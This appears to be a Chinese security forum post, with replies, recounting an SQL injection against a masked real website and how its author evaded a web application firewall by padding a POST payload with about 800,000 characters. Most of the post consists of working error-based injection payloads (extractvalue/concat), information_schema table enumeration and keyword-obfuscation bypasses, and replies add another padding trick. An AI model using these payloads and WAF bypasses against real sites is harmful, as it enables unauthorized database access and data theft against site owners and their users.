记一次80万字符过狗注入【通过】

发现注入:

http://www.xxxxx.com/grocery-magazine?id=extractvalue(1,concat(0x7e,md5(1753434860)))

看到id参数就想到了奈个呗:

image

某狗上线:

image

硬匹配函数体的几种绕过

version() => `version`()
version() => version/**/()

image

http://www.xxx.com/grocery-magazine?id=extractvalue(1,concat(0x7e,database/**/()))

还是能看到库了,准备查表

查表:

http://www.xxx.com/grocery-magazine?id=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x666E6A696E657732)))

既然这样赤裸裸,拦截是应该的

image

常规的绕过无望:

发现from关键词被盯上了

/**/FrOm/**/ 
/*!fRom*/
/*!2312froM*/
%20from(%20)
/**/%20from%20/**/
f+r+o+m

80万字符的填充绕过:

前话:

因为GET型有长度限制,有时候还没加到能bypass的程度服务器就报错。

所以换post提交填充数据,形式如


id=extractvalue(1,concat(0x7e,(select table_name/*aaaaa ...( 80w 个 a) aaaaaaaaaaaaaaa*/from information_schema.tables where table_schema=database() limit 0,1)))

至于填充多少可以自己用bp fuzz一下:

image

后记Sqlmap:

Tamper的话,我是简单的替换了from(菜是原罪啊,tcl)

image

  • 通过
  • 未通过

0 投票者

1 Like

这文章已经在土司发过了。

1 Like

楼主,使用f+r+o+m是以下用法吗?
select * f+r+o+m users;

能重复发的吗老哥

这方法太变态了

有一次我用超长字符测试延时注入,SLEEP延时2秒,然后真的两秒多返回。我当时超级兴奋,后来才发现:tm是服务器处理了2秒

6 Likes

好像不止在t00ls发过

哈哈哈 笑死我了 :rofl:

给他一个无效参数在最前面,然后给无效参数传垃圾数据就可以了